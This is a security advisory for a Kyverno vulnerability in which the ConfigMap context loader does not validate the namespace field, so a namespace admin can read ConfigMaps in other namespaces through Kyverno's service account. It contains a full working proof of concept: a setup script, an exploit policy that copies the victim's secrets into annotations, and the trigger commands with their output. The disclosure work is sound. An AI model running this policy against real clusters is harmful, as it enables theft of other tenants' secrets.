🛡️ CVE-2026-41068 — kyverno

Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)

Summary

CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.

Details

Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.

Code path comparison:

| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) |

|--|---|---|

| Location | apiCall.URLPath field | configMap.namespace field |

| Code path | apicall.Fetch() → namespace regex validation | configmap.NewConfigMapLoader() → no validation |

| Root cause | Variable substitution + missing validation | Same pattern, still unpatched |

Exploit mechanism:

1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)

2. Policy uses context.configMap.namespace: "victim-ns" to reference another namespace

3. Kyverno's admission controller service account (has cluster-wide view role) fetches the ConfigMap

4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations

Affected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.

PoC

Full reproduction (5 minutes on kind):

```bash

#!/bin/bash

# Setup: kind cluster + Kyverno v1.17.0

kind create cluster --name kyverno-poc --wait 60s

helm repo add kyverno https://kyverno.github.io/kyverno/

helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait

# Create attacker and victim namespaces

kubectl create namespace attacker-ns

kubectl create namespace victim-ns

# Plant sensitive data in victim namespace

kubectl create configmap sensitive-config -n victim-ns \

--from-literal=db-password="s3cr3t-p4ssw0rd" \

--from-literal=api-key="AKIAIOSFODNN7EXAMPLE"

# Create namespace admin RBAC (standard multi-tenant setup)

kubectl create serviceaccount ns-admin -n attacker-ns

kubectl create rolebinding ns-admin-binding --clusterrole=admin \

--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns

kubectl create role kyverno-policy-creator --verb=create,get,list \

--resource=policies.kyverno.io --namespace=attacker-ns

kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \

--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns

# Verify namespace admin CANNOT directly access victim-ns

kubectl get configmap sensitive-config -n victim-ns \

--as=system:serviceaccount:attacker-ns:ns-admin

# Error: Forbidden (expected)

```

Exploit policy:

```yaml

# Apply as namespace admin

apiVersion: kyverno.io/v1

kind: Policy

metadata:

name: configmap-crossns-read

namespace: attacker-ns

spec:

rules:

• name: steal-configmap

match:

any:

• resources:

kinds: [ConfigMap]

names: ["trigger-cm"]

context:

• name: stolendata

configMap:

name: "sensitive-config"

namespace: "victim-ns" # <-- NO VALIDATION

mutate:

patchStrategicMerge:

metadata:

annotations:

exfil-db-password: "{{ stolendata.data.\"db-password\" }}"

exfil-api-key: "{{ stolendata.data.\"api-key\" }}"

```

Trigger and exfiltrate:

```bash

# Trigger policy (as namespace admin)

kubectl apply -f - <<EOF

apiVersion: v1

kind: ConfigMap

metadata:

name: trigger-cm

namespace: attacker-ns

data:

innocent: "data"

EOF

# Read exfiltrated secrets

kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \

--as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool

# Output:

# {

# "exfil-api-key": "AKIAIOSFODNN7EXAMPLE",

# "exfil-db-password": "s3cr3t-p4ssw0rd"

# }

```

Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.

Impact

Severity: HIGH (CVSS 7.7)

Who is affected:

• Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)
• Multi-tenant clusters where ConfigMaps contain sensitive data
• Azure Kubernetes Service (AKS) and other managed K8s using Kyverno

Attack prerequisites:

• Namespace admin privileges (standard RBAC in multi-tenant clusters)
• Ability to create Kyverno Policy resources (default for namespace admins)
• No cluster-admin required

What can be exfiltrated:

• Any ConfigMap